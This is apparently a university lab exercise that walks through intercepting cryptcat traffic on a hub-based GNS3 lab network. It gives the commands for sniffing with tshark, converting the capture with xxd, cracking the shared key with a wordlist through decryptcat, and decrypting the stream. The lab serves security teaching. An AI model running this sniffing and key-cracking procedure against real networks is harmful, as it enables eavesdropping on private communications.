**Decrypt Cryptcat stream**

The main goal of the following exercise is to let the attacker able to sniff messages exchanged between 2 hosts in the same local area network.

In order to do that, we will use (only for this laboratory session) a **HUB** instead of our previously configured **SWITCH** in our GNS3 lab.

**Prerequisites**

Replace the previously configured switch **SW1** witha **hub** inyour GNS3 project. The hub does not require any additional configuration; thus, you can connect all the hosts directly to the hub.

Note that, a **hub** receives data signals from one device in his one port and forwards them to all the other ports, except the source port. In this way, the attacker will receive all the messages from other hosts.

**Hosts configuration**

In this scenario, we will configure our Raspbian machine as an attacker, whereas the 3 Ubuntu machines can be used as simple hosts exchanging messages.

**Server-client configuration**

First of all, we need to install the cryptcat tool on all the Ubuntu hosts

sudo apt update && sudo apt install cryptcat

**Server side**

We can open a cryptcat server using the following command

cryptcat -k KEY -p PORT -l

**Client side**

cryptcat SERVER\_IP SERVER\_PORT -k KEY

**Attacker configuration**

The attacker needs to be configured in order to make it ablwe to sniff messages exchanged between other hosts. To this end, we need to install tshark, i.e., a command line tool able to sniff traffics in the network (as wireshark).

Moreove, we need to install also cryptcat and netcat.

sudo apt update && sudo apt install tshark cryptcat netcat

**Sniff traffic**

We can now start sniffing data. More in detail, we are interested in TCP packets having the following flags:

* flag.push==1
* data
* !tcp.analysis.flags

From the attacker side execute the following command

sudo tshark -Y 'tcp.flags.push ==1 && data && !tcp.analysis.flags' -T fields -e data > raw-out.txt

The output will be saved in a file called raw-out.txt.

**Converting raw data to byte**

In order to decrypt the output, we must convert the raw data to byte. To this end, we can use the xxd tool with the options -r and -p

cat raw-out.txt | xxd -r -p > crypted\_data.txt

**Discovering password**

Our data are currently crypted using a password chosen by the 2 hosts. In order to discover their password, we will perform a dictionary attack using a wordlist. An example wordlist can be found [here](https://www.mat.unical.it/ianni/RSI-Web/esercitazioni/Laboratory_22-23/Session_2/Decrypt%20cryptcat%20stream/wordlist.txt).

**Run a dictionary attack**

1. Download decryptcat tool   
   git clone <https://github.com/deurstijl/decryptcat.git>
2. cd decryptcat
3. make linux
4. ./decryptcat crypted\_data.txt wordlist

If the password is contained in the wordlist, the tool will print it!

**Decrypt the stream**

In order to decrypt the messages, follow these steps on the attacker side

1. Open a terminal and execute cryptcat in listening mode using the password discovered before   
   cryptcat -k DISCOVERED\_PASSWORD -l -p PORT
2. Open a terminal and execute netcat in order to connect in localhost to our cryptcat server and send as message the crypted data saved during the previous steps  
   netcat -w 1 127.0.0.1 PORT < crypted\_data.txt